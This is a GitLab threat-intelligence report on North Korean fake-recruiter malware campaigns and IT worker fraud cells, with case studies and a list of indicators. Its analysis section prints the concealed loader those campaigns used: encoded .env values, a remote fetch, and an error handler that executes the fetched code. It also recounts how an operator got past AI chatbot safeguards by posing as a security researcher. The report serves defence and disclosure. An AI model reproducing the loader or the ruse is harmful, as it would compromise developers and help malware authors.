Team reveals North Korean tradecraft","Gain threat intelligence about North Korea’s Contagious Interview and fake IT worker campaigns and learn how GitLab disrupted their operations.",[1173],"Oliver Smith","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751464282/r2ovpvmizpkcngy9kzqu.png","We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.\nPublishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.\n\n**There is no action needed by GitLab customers and GitLab remains secure.**\n\n## Executive summary\n\n### What is Contagious Interview?\n\nSince at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.\n\n### About the report\nIn 2025, GitLab identified and banned accounts created by North Korean threat actors used for [Contagious Interview](https://attack.mitre.org/groups/G1052/). GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through [IT worker activity](https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses).\n\nExposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.\n\nThis report contains a [Year in Review](#year-in-review) summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:\n\n* [Financial records](#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records) maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025\n* [A synthetic identity creation pipeline](#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale) used to create at least 135 personas, automated to generate professional connections and contact leads at scale\n* [A North Korean IT worker controlling 21 unique personas](#case-study-3-north-korean-operator-controlling-21-personas) and adding their own image to stolen U.S. identity documents\n* [A North Korean IT worker recruiting facilitators](#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow) and working for U.S. organizations while operating from Moscow, Russia\n\nWe’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the [Appendix](#appendix-2-indicators-of-compromise).\n\n\n## Year in Review\n\nNorth Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.\n\n### Key findings\n\nHere are our key findings, including 2025 campaign trends and malicious code project features.\n\n#### 2025 campaign trends\n\nIn 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant [we identified](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/) in September.\n\nThreat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.\n\nIn more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.\n\n![Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png \"Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.\")\n\nWe observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.\n\n\n![Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png \"Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.\")\n\n#### Malicious code project features\n\nThe most common execution pattern we observed in 2025 had the following features:\n\n* A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.\n* A trigger function intended to source remote content and raise an error.\n* A global invocation of the trigger function in a file executed as soon as the project is run.\n* A custom error handler intended to execute remote content from the trigger function by using `Function.constructor` to load a string as executable code.\n\n\n**Example excerpt from a .env file containing malicious encoded variables:**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw\nRUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy\nRUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0\n```\n\n**Decoded values from the .env file (defanged):**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823\nRUNTIME_CONFIG_ACCESS_KEY=x-secret-header\nRUNTIME_CONFIG_ACCESS_VALUE=secret\n```\n\n**Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:**\n\n```javascript\nconst errorTimeHandler = async () => {\n  try {\n    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);\n    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);\n    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);\n    try {\n      globalConfig = (await axios.get(`${src}`, {\n        headers: {\n          [k]: v\n        }\n      }));\n      log('Runtime config loaded successfully.');\n    } catch (error) {\n      errorHandler(error.response?.data || error.message);\n    }\n  } catch (err) {\n    await errorHandler(err.response?.data || err.message || err);\n  }\n};\n```\n\n**Example custom error handler intended to execute remote code:**\n\n```javascript\nconst errorHandler = (error) => {\n  try {\n    if (typeof error !== 'string') {\n      sss\n      console.error('Invalid error format. Expected a string.');\n      return;\n    }\n    const createHandler = (errCode) => {\n      try {\n        const handler = new(Function.constructor)('require', errCode);\n        return handler;\n      } catch (e) {\n        console.error('Failed:', e.message);\n        return null;\n      }\n    };\n    const handlerFunc = createHandler(error);\n    if (handlerFunc) {\n      handlerFunc(require);\n    } else {\n      console.error('Handler function is not available.');\n    }\n  } catch (globalError) {\n    console.error('Unexpected error inside errorHandler:', globalError.message);\n  }\n};\n```\n\nThe error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.\n\nThe extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.\n\n#### Other notable observations\n\nIn July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.\n\nIn September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.\n\nIn October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.\n\n### Implications\n\nNorth Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.\n\nWe observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.\n\n### Mitigation\n\nWe banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.\n\nWe improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.\n\n\n## Case studies\n\n### Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records\n\n#### Summary\n\nWe identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.\n\n#### Key findings\n\nIn late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.\n\nWe assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.\n\n![Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png \"Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.\")\n\n\nPersonnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently `111.197.183.74`.\n\nDossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.\n\nFinancial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.\n\nSoftware development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.\n\n![Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png \"Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.\")\n\n\n![Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png \"Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.\")\n\n\nThe project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.\n\n![Screenshot of presentation showing cell performance data for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png \"Screenshot of presentation showing cell performance data for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell member performance relative to goals for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png \"Screenshot of presentation showing cell member performance relative to goals for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell performance data by month for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png \"Screenshot of presentation showing cell performance data by month for Q3 2025.\")\n\nWe aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.\n\n![Actual and target cell earnings over time, 2022 to 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png \"Actual and target cell earnings over time, 2022 to 2025.\")\n\nWe assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.\n\nThe private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:\n\n- Earnings contribution and mutual skills development.\n- Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.\n- Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.\n- Interpersonal values and adherence to party values.\n\nThese reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.\n\n![Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png \"Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.\")\n\n#### Implications\n\nThis activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.\n\nThe declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.\n\n#### Mitigations\n\nWe banned accounts related to this activity.\n\n\n### Case Study 2: Synthetic Identity Creation and Service Abuse at Scale\n\n#### Summary\n\nWe identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.\n\n#### Key findings\n\nWe identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.\n\nThe threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:\n\n1. Scrape photographs from social media, AI image generators, and other platforms.\n\n2. Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.\n\n3. Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service [disrupted by U.S. authorities in August 2025](https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used). Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.\n\n4. Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.\n\n5. Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.\n\nThe threat actor’s tooling to interact with abused services was brokered through a control node hosted at `185.92.220.208`. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.\n\nThe threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.\n\nThe threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.\n\nAs of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.\n\n\n![Distribution of purported account origins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png)\n\n\n\n![Distribution of identity verification results](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png)\n\nThe threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.\n\n#### Implications\n\nThis cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.\n\nIdentity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.\n\n#### Mitigations\n\nWe banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.\n\n\n### Case Study 3: North Korean Operator Controlling 21 Personas\n\n#### Summary\n\nWe identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.\n\n#### Key findings\n\nWe identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.\n\nThe threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.\n\n![Doctored U.S. identity documents containing the threat actor’s photograph.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png \"Doctored U.S. identity documents containing the threat actor’s photograph.\")\n\nThe threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.\n\n#### Implications\n\nThis threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.\n\n#### Mitigation\n\nWe banned the account associated with this operator.\n\n\n### Case Study 4: North Korean Fake IT Worker Operating from Central Moscow\n\n#### Summary\n\nWe identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.\n\n#### Key findings\n\nWe identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025\\. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.\n\nRepository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.\n\nIn early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.\n\nIn April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.\n\n![Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png \"Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.\")\n\nThe threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at `55°43'44.4\"N 37°36'55.8\"E`, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.\n\n![Map depicting the location stored in EXIF metadata on images of the threat actor. ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png \"Map depicting the location stored in EXIF metadata on images of the threat actor.\")\n\nThe threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.\n\n#### Implications\n\nThis incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.\n\nThis incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.\n\n#### Mitigations\n\nWe banned the account associated with this activity.\n\n*Saksham Anand contributed to this report.*\n\n## Appendix 1: GitLab Threat Intelligence Estimative Language\n\nWe use specific language to convey the estimated probability attached to assessments. We also use words including \"possible\" and \"may\" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available [here](https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf).\n\n| Estimative Term | Almost Certainly Not | Highly Unlikely | Unlikely | Real Chance | Likely | Highly Likely  | Almost Certain |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| Probability Range | 0 - 10% | 10 - 25% | 25 - 40% | 40 - 60% | 60 - 75% | 75 - 90% | 90 - 100% |\n\n\n## Appendix 2: Indicators of Compromise\n\nWe recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.\n\n| Indicator | Type | Risk | First Seen | Last Seen | Comment | Case Study |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| `aleks.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `aleksander.malinowski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anatol.baranski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anton.plonski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `ben.moore0622@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `edward.harley@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `iwan.banicki@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `johnwilson0825@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `kevin.brock@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `richard.francis10@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `robert.radwanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.bobinski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.ulanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `stefan.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `taraslysenko@mail.io` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts 